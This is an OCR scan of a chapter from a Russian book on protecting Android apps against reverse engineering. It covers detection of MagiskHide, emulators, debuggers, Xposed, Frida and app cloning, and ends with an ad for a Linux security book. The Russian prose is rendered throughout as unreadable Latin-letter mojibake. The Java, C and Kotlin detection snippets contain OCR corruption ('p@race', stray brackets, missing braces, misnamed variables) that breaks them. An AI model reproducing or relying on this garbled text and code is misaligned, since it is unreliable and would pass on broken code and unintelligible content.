B Magisk ¢ynkuus MagiskHide npocto oTkitodaer oBepieit Ans BbIOpaHHBIX MPUIIOXKe-
HUH, nenas moOble Ki1accuueckHe cnocoOrl aeTekTa root 6ecrone3HsiMu (puc. 16.3).

Puc. 16.3. MNpouyecc ckpbITUA root MOXXHO yBuaeTb B norax Magisk

Ho ects B MagiskHide onuH u3bsaH. Jleno B TOM, 4TO, €C/IM NPUI0KEHHE, KOTOPOE HAaXO0-
JIMTCS B CITUCKE IJI CKPBITHA root, 3aIyCTUT CEpBHC B H30JHMPOBAaHHOM npouecce, Magisk
TaKKe OTKJIKOHYUT A/ HEro oBepieidl, HO B CHHMCKe MOAKIIOYEHHbIX (aiIoBBIX CHCTEM
(/proc/self/mounts) 3TOT OBepsiel ocTaHeTca. COOTBETCTBEHHO, 4TOObI OOHApY>KHTh
Magisk, HEOOXOAMMO 3aITyCTHTh CEPBUC B H30JIMPOBAHHOM MpPOLECCE U MPOBEPUTDH CIIH-
COK MOJK/IIOYEHHBIX (aiIOBBIX CUCTEM.

Cnoco6 Obim ommcaH B cratbe Detecting Magisk Hide (https://darvincitech.
wordpress.com/2019/11/04/detecting-magisk-hide/), a ucxonusrit xon proof of concept
BbUIOKeH Ha github mo anpecy https:/github.com/darvincisec/DetectMagiskHide.
Cnoco6 paboTaeT 10 cHx nop Ha caMoii nocieaHe# Bepcun Magisk: 20.4.

AMmynatop

PeBepcephbl YacTO MCHONB3YIOT 3MYJIATOP Ul 3aIycka NOAONBITHOro npuioxenus. Io-
3TOMY He JIMIIHUM OyJeT BHECTH B MPHIIOXKEHHE KOJ, NMPOBEPAIOLIHH, HEe 3aIMyIIeHO JH
OHO B BHpTyasbHOW cpeae. Caenars 3T0 MOXKHO, MPOYMUTAB 3HaYEHHE HEKOTOPBIX CHC-
TeMHBIX nepeMeHHbIX. Harmpumep, crangaptHbiit amynsrop Android Studio ycranaenu-
BaeT TaKHe NEepEMEHHbIE M 3HAUYEHHU:
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ro.hardware=goldfish
ro.kernel.gemu=1
ro.product.model=sdk

HpoqmaB HX 3HAYE€HHUA, MOXXHO NMPEATIONO0KHTD, YTO KO UCIIOJIHACTCA B 3IMYJIATOPE!:

java "

public static boolean checkEmulator () {
try |
boolean goldfish = getSystemProperty("ro.hardware").contains ("goldfish");
boolean emu = getSystemProperty("ro.kernel.gemu").length() > 0;
boolean sdk = getSystemProperty("ro.product.model").contains ("sdk");

if (emu || goldfish || sdk) ({
return true;

}

} catch (Exception e) {}

return false;

private static String getSystemProperty(String name) throws Exception {
Class sysProp = Class.forName ("android.os.SystemProperties”);

return (String) sysProp.getMethod("get", new
Class[]{String.class}) .invoke (sysProp, new Object(]{name});

}

OO6partuTe BHUMAHHUE, YTO KJIACC android.os.SystemProperties — CKPBITBIA H HE NOCTYNEH
B SDK, noaromy a1 oOpalueHus kK HeMy Mbl UCTIONIB3YyeM pediiekcHio.

B napyrux sMynaTopax 3HaueHHA CHCTEMHBIX NMEPEMEHHBIX MOryT ObITh Apyrumu. Ha
CTpaHHLE

https://mobile-security.gitbook.io/mobile-security-testing-guide/android-testing-
guide/0x05j-testing-resiliency-against-reverse-engineeringf#emulator-detection-
examples

ecTh Tab/MUa CO 3HAYEHHUAMH CHCTEMHBIX NMEPEMEHHBIX, KOTOpblE MOTYT MPAMO HJIH KOC-
BEHHO YKa3blBaThb Ha 3MyJsaTop. TaMm e npuBedeHa Tabiuua 3HayeHuH cteka Tenedo-
HuM. Hanpumep, cepwuiinbiii Homep SIM kaptel 89014103211118510720 ogHo3Ha4YHO
yka3blBaeT Ha 3MyJATOp. MHorue craHaapTHble 3Ha4eHHs, a Taloke TOTOBble (PyHKLHH
AJISL AeTEKTa SMYJIATOpa MOXHO HAHTH B 3TOM HCXOOHOM ¢aiine:

https://github.com/strazzere/anti-emulator/blob/master/AntiEmulator/src/dift/
strazzere/anti/emulator/FindEmulator.java.
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OTtnaauuk

OavH u3 MeToAoB peBepca — 3aIyCK NPUIOXKEHHS MOJ YNpaBl€HHEM OTIaq4MKa.
B3noMuiMk MoXeT AeKOMNMIMPOBATh Ballle MpPUIOXKEHHe, 3aTeM co3gaTh B Android
Studio 0OAHOMMEHHBIH MPOEKT, 3aKUHYTh B HEro MOJIyYeHHbIE UCXOAHWUKH M 3aIyCTHTh
MpoLecc OTJIaAKH, He KOMIWIMPYS MpoeKT. B 3ToM ciyvae npuioxkeHHe caMo MOKaKeT
€MY CBOIO JIOTHKY paboTBhl.

YroObl MpoBepHYTh Takoi (HHT, B3JIOMLUMKY MNpHUAETCA nepecodpaTh NPUIIOKEHHE
C BKJIIOYEHHBIM (J1aroM oTIaaku (android:debuggable="true"). [Io3TOMy HauBHBIH crocob
3alIMTBI COCTOMT B NPOCTOM MpoBepke 3Toro ¢uiara:

java

public static boolean checkDebuggable (Context context) {

return (context.getApplicationInfo().flags & ApplicationInfo.FLAG DEBUGGABLE) !=
0;

YyTs Gonee HafeXHBIH CrIOcO0 — HAMpAMYIO CIIPOCHTb CUCTEMY, MOKIIOYEH JIX OTaj-
YHK:

java

public static boolean detectDebugger () {
return Debug.isDebuggerConnected() ;

To xe caMoe B HATUBHOM KoJI€:

c

JNIEXPORT jboolean JNICALL Java com_test debugging DebuggerConnectedJNI (JNIenv * env,
jobject obj) |
if (gDvm.debuggerConnected || gDvm.debuggerActive) {
return JNI_TRUE;

}
return JNI FALSE;

[IpuBeneHHble METOABI MOTYT OBITH HCMOMB30BaHBI A OOHAPY)KEHHS OTIaJ4MKa Ha 6ase
nporokona JDWP (xak pa3 tot, uro BctpoeH B Android Studio). Ho apyrue otnagunku
paboTatoT no-apyromy, ¥ Metoabl 60peObl ¢ HUMU OyayT apyrumu. Otnaguuk GDB, Ha-
NPHUMED, UCTIOJIb3YET CUCTEMHBIH BBI3OB ptrace () U1 MOMYYEHHs! KOHTPOJS Haj MpoLec-
COM. A CIlIeICTBUEM HCIOJb30BAHMS ptrace CTAHET U3MEHEHHE dara TracerPid B CHHTE-
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THYeCKOM (haiisie /proc/self/status ¢ Hyns Ha PID ornaguuka. [IpountaB 3HayeHue ¢uia-
ra, Mbl y3HaeM, MOAKIIOYEH JIM K MpUIOKeHHI0 oTiaqyuk GDB:

java_ | |

public static boolean hasTracerPid() throws IOException {
BufferedReader reader = null;
try {
reader = new BufferedReader (new InputStreamReader (new
FileInputStream("/proc/self/status")), 1000);

String line;

while ((line = reader.readLine()) != null) ({
if (line.length() > tracerpid.length()) {
if (line.substring(0, tracerpid.length()).equalsIgnoreCase (tracerpid)) {
if (Integer.decode(line.substring(tracerpid.length() + 1).trim()) > 0) {
return true;

}

break;

} catch (Exception exception) {
e.printStackTrace ()

} finally {
reader.close();

return false;

Oto cnerka MoauduuupoBaHHas ¢GyHKUMA M3 penosuTopus anti-emulator (https://
github.com/strazzere/anti-emulator/). Ee aHanor Ha sa3bike Cu Oyner HeTpyaHO HaWTH
Ha StackOverflow.

Ewe oauH Meton GopsOBI C OT/IaTYHKaMH, OCHOBaHHBIMHM Ha ptrace, — MOMpo6oBaTh
NOAKIIOYHTBCA K caMoMy cebe (mpolueccy NMpHIOXKeHHs) B pond oTiaa4uka. g atoro
Hano caenath ¢opk (M3 HaTMBHOrO Koja), a 3aTeM NonpoGoBaTk BbI3BaTb CHCTEMHBIH
BBI30B ptrace:

c |

void fork_and attachf()
{
int pid = fork();
if (pid == 0)
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int ppid = getppid();
if (p@race(PTRACE_ATTACH, ppid, NULL, NULL) == 0)
{

waitpid(ppid, NULL, 0);

ptrace (PTRACE _CONT, NULL, NULL);

OOHapy>kuTh BCTpOeHHbIH oTiaguuk IDA Pro MoxHO ApYruM crocoOoM: yepes3 MOMCK
CTPOKH 00000000:23946 B (aitne /proc/net/tcp (3T0 CTaHIAPTHBIA NOPT oTiax4uka). K co-
XaneHuto, HauuHas ¢ Android 9 3ToT cnocob He paboTaer.

B crapbix Bepcusax Android Taioke paboTan MeToa NpAMOro NMoMcka npouecca OTaaau1Ka
B CHCTeMe, KOTAa NMpHIOKEHHE MPOXOAMT IO JepeBy MpouLeccoB B ¢ainoBoit cucreme
/proc B TIOUCKAX CTPOK THMAa "gdb" U "gdbserver" B (paiinax /proc/pPID/cmdline. Haumnas
¢ Android 7 goctyn k ¢aiinoBoii cucteMe /proc 3anpeieH (KpoMe HHPOpPMALIUM O TEKy-
IIEM TpoLEecce).

Xposed

Xposed — ¢peiMBOpK U1 paHTaHM-MOAMGHKALMHM NpuiioxkeHui. U XxoTa B ocHOBHOM
OH HCIOJIb3YeTCA /I YCTaHOBKH CHUCTEMHBIX MOAUGHUKALIMIA U TBUKOB, CYLIECTBYET Mac-
ca MoIyneHd, KOTopble MOTYT OBITh MCIONB30BaHbI [JI peBepca W B3JIOMA BawIero Mpu-
JIOXEHHUsA. DTO U pa3fIHyHbIe MOAYNH Ais oTkimodyeHuss SSL Pinning, U TpaccupoBLIMKH
Bpoze inspeckage, © caMOMUCHbIE MOTY/IH, KOTOPbIE MOTYT ObITh UCMOJIB30BaHbI /IS Ka-
KOT'O YTOJXHO M3MEHEHHS MPHIIOKEHHS.

CyuiecTByeT TpH AeHCTBEHHBIX criocoba oOHapyeHus Xposed:
1. Tlonck maketa de.robv.android.xposed.installer Cpeld YCTAHOBJIEHHBIX Ha YCTPOHCTBO.
2. IMouck libexposed art.so H xposedbridge.jar B (baﬁne /proc/self/maps.

3. Tlouck knacca de.robv.android.xposed.XposedBridge CpP€IM 3arpy>XC€HHBIX B paHTaﬁM
MaKeTOB.

B cratee Android Anti-Hooking Techniques in Java (https://d3adend.org/blog/
posts/android-anti-hooking-techniques-in-java/) npuBogutcs peanuzauus TpPEThEro
MeTona ogHoBpemeHHO i nmoucka Xposed u Cydia Substrate. [Toaxon uHTEpeceH Tem,
YTO BMECTO MPSAMOrO MOMCKA KJIACCOB B PaHTaiiMe OH BBI3bIBAET MCKIIOYEHHE BPEMEHH
MCTIONIHEHHS, a 3aTEM HMILET Hy)KHBIE KJIaCChl 1 METObI B CTEKTpeHce:

. javax ‘

try {
throw new Exception("blah");
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catch(Exception e) {
int zygoteInitCallCount = 0;

for (StackTraceElement stackTraceElement : e.getStackTrace()) {

if (stackTraceElement.getClassName () .equals ("com.android.internal.
os.ZygotelInit")) {

zygoteInitCallCount++;
if (zygoteInitCallCount == 2) {
Log.wtf ("HookDetection", "Substrate is active on the device.");

}

if (stackTraceElement.getClassName ().equals("com.saurik.substrate.MS$2") &&
stackTraceElement.getMethodName () .equals ("invoked")) {

Log.wtf ("HookDetection", "A method on the stack trace has been hooked
using Substrate.");

}
if
(stackTraceElement.getClassName () .equals ("de.robv.android.xposed.XposedBridge") &&
stackTraceElement .getMethodName () .equals("main")) {
Log.wtf ("HookDetection", "Xposed is active on the device.");
}
if
(stackTraceElement.getClassName () .equals ("de.robv.android.xposed.XposedBridge") &&
stackTraceElement.getMethodName () .equals ("handleHookedMethod")) {

Log.wtf ("HookDetection", "A method on the stack trace has been hooked
using Xposed.");

}

Frida

Ee BenuyectBo Frida! M3yMHUTENbHBIA HHCTPYMEHT, MO3BOJIAIOILMI NMEPEXBATUTh BHI3OB
no60i HyHKUMHM MOJONBITHOTO MPUIOXKEHHUS, MPOYECTh BCE €€ apryMEHThl U 3aMEHUTh
TeJ0 Ha cOGCTBEHHYIO peanu3aluio Ha a3bike JavaScript. Frida He Tonbko 3aHMMaeT nep-
BO€ MECTO B YEMOJAHYHKE MHCTPYMEHTOB J1060ro peBepcepa, HO M CITY>KUT 6a30i s
MHOTHUX JPYTHX, 00Jiee BHICOKOYPOBHEBBIX YTHIIHUT.

O6Hapyxuth Frida MoxkHO MHOXecTBOM pa3Hbix cnocoboB. B cratee The Jiu-Jitsu of
Detecting Frida (https://web.archive.org/web/20181227120751/http://www.vantagepoint.
sg/blog/90-the-jiu-jitsu-of-detecting-frida) npusoaurcs Tpu (Ha camoM Jene 4, HO nep-
BBIi YK€ HE aKTyasleH) pa3jIMuHbIX crocoba 3To cAenaTh:

1. INouck OUONHOTEK frida-agent U frida-gadget B Qaiiie /proc/self/maps:

Cc

char line(512];
FILE* fp;
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fp = fopen("/proc/self/maps", "r");

if (fp) {
while (fgets(line, 512, fp)) {
if (strstr(line, "frida")) {
/* Frida Hampmena */

}

fclose (fp);

MoxxeT 3aKOHYUTBHCA Heyzlaqeifl, €CJIK B3JIOMIIHK U3MCHHUT UMCHaA OUOIHOTEK.

2. Tlonck B mamMATH HATUBHBIX OMOJIHOTEK CTPOKHM "LIBFRIDA":

c

static char keyword[] = "LIBFRIDA";
num_found = 0;

int scan_executable segments(char * map) ({
char buf(512];
unsigned long start, end;

sscanf (map, "$1lx-%1x %s", &start, &end, buf);

if (buf(2] == 'x') {

return (find mem string(start, end, (char*)keyword, 8) == 1);
} else {

return 0;

}

void scan() {
if ((fd = my openat (AT _FDCWD, "/proc/self/maps", O RDONLY, 0)) >= 0) {

while ((read one line(fd, map, MAX LINE)) > 0) {
if (scan_executable segments (map) == 1) {
num_found++;

}

if (num found > 1) {
/* Frida HaitmeHa */

B3anomuuk MoxeT nepekoMnuwinpoBath Frida c H3MEHEHHBIMH CTPOKaMH.
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3. Ilpoiitu no Bcem otkpeiThiM TCP-nopram, ornpaButh B HUX dbus-cooOuieHue AUTH
M Joxaarbes otBera Frida:

Cc

for(i = 0 ; i <= 65535 ; i++) {
sock = socket (AF_INET , SOCK STREAM , 0);
sa.sin_port = htons(i);

if (connect(sock , (struct sockaddr*)é&sa , sizeof sa) != -1) {

__android log print (ANDROID LOG VERBOSE, APPNAME, "FRIDA DETECTION [1]:
Open Port: %d", 1i);

memset (res, 0 , 7);

send (sock, "\x00", 1, NULL);
send (sock, "AUTH\r\n", 6, NULL);

usleep(100);
if (ret = recv(sock, res, 6, MSG_DONTWAIT) != -1) {
if (strcmp(res, "REJECT") == 0) {

/* Frida HamnmeHa */

}

close (sock) ;

Meton xopoio paboraet npu ucnosnb3oBaHuu frida-server (Ha pyToBaHHOM yCTpOH-
CTBe), HO GecrioneseH, eclii NPUIoKEHHE ObIIO MepernakoBaHoO ¢ BKIIOYEHHEM B HEroO
frida-gadget (croco6, oObIYHO MPUMEHSEMBIH NPH HEBO3MOXHOCTH TMOJIYYHTh root Ha
YCTpOMCTBE).

B cratbe Detect Frida for Android (https://darvincitech.wordpress.com/2019/
12/23/detect-frida-for-android/) asTop npuBoaur eie TpH crocoba:

1. Iouck norokos frida-server u frida-gadget, koropoie Frida 3amyckatoT B pamkax npo-
1ecca MofIoNbITHOTO MPHIIOKEHHUS.

2. Tlouck cneunduynsix ans Frida iMeHOBaHHBIX MAMMOB B KaTaJiore /proc/<pid>/fd.

3. CpaBHeHHMe ko2 HaTHBHbIX OMONMHOTEK Ha Aucke W B namatu. [Ipu BHeapenuu Frida
M3MEHSET CEKLHIO text HATUBHBIX OUOIMOTEK.

ITpumepbl UCMONB30BaHUS MOCIEAHHUX TPEX TEXHUK OMyOIMKOBaHbI B PEMO3HUTOPUM Ha
GitHub no agpecy https://github.com/darvincisec/DetectFrida.
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KnoHuposaHue

Hekotopble nMpoM3BOAMTENM BCTPAaHBAIOT B CBOM MPOIUMBKH (YHKLUMIO KIOHMPOBaHHUS
npunoxenus (Parallel Apps B OnePlus, Dual Apps B Xiaomi u T. A.), KOTOpas No3BoJseT
YCTAHOBHTb Ha CMAapT(OH KOMHIO BbIOpaHHOro mnpwiokeHus. [lpouinBka aenaetr 3to
MyTeM CO3JaHus AOMNONHUTENbHOro Android-monb3oBatens ¢ MAEHTUPHKATOPOM 999
M YCTaHaBJIMBAET KOIMHIO MPWIOKEHHH OT €ro UMEHH.

Takyto ke (YHKLHMOHAIBHOCTD MpeLIaraloT HEKOTopble NpUIokKeHUs U3 mapkera (Dual
Space, Clone App, Multi Parallel). Onu pabortatoT mo-apyromy: myteM co3JaHHUs H30-
JIMPOBAHHOW cpelbl Ul NPHIOXKEHHS W €ro YCTaHOBKM B COOCTBEHHBbIH MpHBATHbBIHA
KaTarnor.

BTopoit MeTox MOXeT ObITh HCIOJIB30BaH IS 3aITyCKa BALIEro NMPUJIOKEHHS B H30JIMPO-
BaHHOM cpeae 111 u3ydeHHus. YToObl BOCIIPENATCTBOBATh 3TOMY, JOCTATOYHO MPOAHAIH-
3UpoBaTh IMyTh K MPHBAaTHOMY KaTtanory npwioxeHus. K npumepy, npunoxeHue ¢ ume-
HEM T1aKeTa com.example.app NPH HOPMaIbHOH yCTaHOBKe OyAeT UMETh NPHBATHbIA KaTa-
JIOT MO ClIeAyIOEMY ITyTH:

/data/user/0/com.example.app/files

Ipu co3paHuM KIOHA ¢ MOMOLIBIO OJHOTO M3 NMPHIOKEHHH U3 MapkeTa MyTh OyaeT yxe
TaKUM:

/data/data/com. ludashi.dualspace/virtual/data/user/0/com.example.app/files

A npy co3/1aHHH KJIOHA C NOMOLIBIO BCTPOEHHBIX B MPOIIUBKY HHCTPYMEHTOB — TaKHM:

/data/user/999/com.example.app/files

CobepeM Bce BMECTE U MOTYYHM Takod METOJ IS AeTeKTa U30JIMPOBAHHOM Cpe/ibl:

java

prjvate const val DUAL APP_ID 999 = "999"

fun checkAppCloning(context: Context): Boolean {
val path: String = context.filesDir.path
val packageName = context.packageName

val pathDotCount = path.split(".").size-1
val packageDotCount = packageName.split(".").size-1
if (path.contains(DUAL APP_ID 999) || pathDotCount > packageDotCount) {

return false

return true

Meron ocHoBaH Ha crocobe, mpuBeaeHHOM B ctathe Preventing Android App Cloning
(https://proandroiddev.com/preventing-android-app-cloning-e3194269bcfa).



Yto aanbwe?

Teneps, nounTaB KHUry 10 KOHLA, Bbl JODKHBI MMETh O0LLEe NpeACTaBlIeHHe 00 YCTpoi-
ctBe Android, j BHyTpeHHEM YCTPOHCTBE MPUIOXKEHUI U METOAAX, KOTOPHIMH MOJB3YIOT-
csl 37I0YMBILIJIEHHUKHU TIPU B3JIOME MPHIOXKEHHUH K paspabotke BpeaoHocHoro [10. Ho,
KaK rOBOpHUTCS, 3TO JIMLIb BepXyllka aficOepra.

[TpoaomkuTe cBOE pa3BUTHE B KauecTBe creyuanicta no 6ezonacHoct Android MoXkHO
MyTEM H3Y4YEHHS MCXOIOHBIX KOAOB CYULIECTBYIOLUMX 3J10BpeAoB. HekoTopble U3 HUX He-
TpyAHo HaiTu npsaMo B GitHub B nexkoMnuaMpoBaHHOM BHIE MM AaXKe B OPUTHHAIEHOM
ucxoaHoM kopae. Hampumep, paspabotumkm Cerberus nocie 6e3ycrneliHbIX MOMBITOK
NpojaaTh UCXOIHHKH TPOSTHA BBUIOXKHITH WX B CBOOOHBIN JOCTYII.

He ctout Taioke 3a6biBath, yto Becb Android uenmkoM Takke BBUIOXKEH B HCXOJHOM KO-
ae Ha caiite https://source.android.com. Pa3zo6parbcs B HuX Oyner npoGieMaTUyHO, HO
3aTO BCErAa MOXKHO M3 MEPBBIX PYK y3HATh O TOM, KaK paboTaeT TOT UM WHOH KOMIIO-
HeHT cuctembl. TaM e omy6iMKOBaHO PyKOBOACTBO NO nopTUpoBaHuio Android Ha Ho-
Bbl€ YCTpPOHCTBa, a Taioke 0030p cucteM OezonacHoctH Android (https://source.
android.com/security).

BaxkHo Taioke pa3oOpaTbCs B YCTpPOHWCTBE M MeTOJaxX peBepC-WHKWHUPHMHra HaTUBHBIX
OunapHeix daincs ARM. MHorue npuioxenus, HanucanHble Ha Java u Kotlin, ucnons-
3yIOT HaTHBHble OMONHOTEKH U1 3alUMTHl YYBCTBUTENbHBIX JaHHBIX NpHiIokeHus. [Tpak-
THYECKH BCE YMAKOBLUMKH TaKXKe CKOMIMUIMPOBaHbI B HATUBHbIE OMOIMOTEKH, YTO Cylle-
CTBEHHO 3aTpyAHAET UX aHaIU3.

B ocranbHOM e BC€raa CTOMUT MOMHHUTB, YTO HE 6oru rOpUIKH ooxwuraror. UMeHuTEHIE
CMELMATTUCTBI N0 6€30MacHOCTH H PE€BEPC-UHIKUHUPHHI'Y — TAKHUE€ K€ JIIOAH, KaK MBbl.
BaxkHo He ocTaHaBIMBATHLCA Ha AOCTUTHYTOM, MOCTOSAHHO HCKaTb U OCBauBAaTb HOBBLIC
3HaAHHA.
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Linux riiazamMm xakepa 6-e u3a.

chve

www.bhv.ru

OTaeJ1 ONTOBLIX MOCTABOK
E-mail: opt@bhv.ru

Hactpoiite Linux Ha MaKCMMAaJILHYIO CKOPOCTb H 0€301aCHOCTh

e DBesonacHocTh Linux

.
&

e Onrumusanus OC U cepBUCOB

. o |
I I n ux e Artaku XxakepoB Ha Linux

D LI UE I W BB o 3ammrTa cepBepa OT XaKepoB

XAK E PA L4 HpeL(OTBpameHue BO3MOXHBIX aTakK

6-& Hananme B8 ¢ Ilpumepst ans CentOS u Ubuntu

Muxann Gnenos

i
Besonackocte Linux . =
Ontumuaaumn OC u cepsucos E »
Araxn xaxepos wa Linux o
3awwra cepaepa o1 xaxepos ¢
NpenoTspaiyenue BOIMOXHLIX aTaK

Npumepsi ann Cent0S » Ubuntu

HecMoTps Ha siBHOe cTpemienue Linux mocenuThes B JOMAIIHUX KOMIIBIOTEPAX, HACTPOH-
Ka 3TOH OmnepaloOHHOW CHCTEMBI MOKa €Ile CIUIIKOM CJIOXKHAas U 3aBUCUT OT MHOXKECTBA
apaMeTpPoOB, OCOOEHHO KOrja pedb MAET O HacTpoiike cepBepa. Hactpoiika kinueHTCKOro
OKPYXXEHUs JOCTUINA MPOCTOTHI, CIIOCOOHOH KOHKYpHpoBaTh ¢ Windows, HO TOHKHH TIO-
HMHT [OKa TpeOyeT OT MoJIb30BaTelNs MOArOTOBKHU. ECIIM MpOCTO OCTaBUTH MapaMeTphl Mo
YMOJIYaHHIO, TO 00 UCTUHHOI Oe3omacHocTH Linux He MoxeT ObITh U peud. KHura nocss-
mena 6ezonmacHocTy OC Linux. OHa OyneT nose3Ha KaKk HaYMHAIOIUM, TaK M ONBITHBIM
[IO/I30BATENAM, aJIMHHUCTPATOPaM U cliendanictaM no 6e3onacHoctd. Onucanue Linux
HAYHHAETCA C CAMBbIX OCHOB W 3aKaHYMBAETCS CIOXHBIMU HACTPOHKAMH, NMPH 3TOM Kakaas
rjlaBa pacCMaTpUBAET TEMY C TOUKH 3PEHUS POU3BOIUTEIBHOCTU U 6€30MaCHOCTH.

B xuure Bol HaiieTe HE0OX0AMMYIO HH(popMaLHio o HacTporike OC Linux u nmomyasipHeIX
CEPBHCOB C Y4E€TOM COBPEMEHHBIX peanuii. Bbl y3HaeTe, Kak Xakepsl MOTYT aTaKOBaTh Balll
CepBEp M KaK yXKe Ha Tarne HaCTPOHKH CIeNiaTh BCE HEOOX0AMMOe IS 3aILUThI JaHHBIX.

®aeHoB Muxaui, npodeccruoHanbHbIi porpaMmuct. Pabortan B xypHane «Xakep», B KOTOPOM
HeckoJbko JneT Ben pyopuku «Hack-FAQ» u «KoauHr» ans nmporpaMMHMCTOB, NeyaTasncs B XKyp-
Hanax «Mrpomanus» u «Chip-Poccus». Aprop 6ectcennepos «bubmus Delphi», «[Iporpammupo-
BaHue B Delphi rimasamu xakepa», «IIporpammupoBanue Ha C++ rinazamu xakepa», «Komnbrorep
rjia3aMd Xakepa» U Jp. HekoTopele KHUTH NepeBelcHbl Ha MHOCTPaHHBIC S3bIKM M HM3JaHBl B
CIIA, Kanane, [lonsiie u gpyrux cTpaHax.
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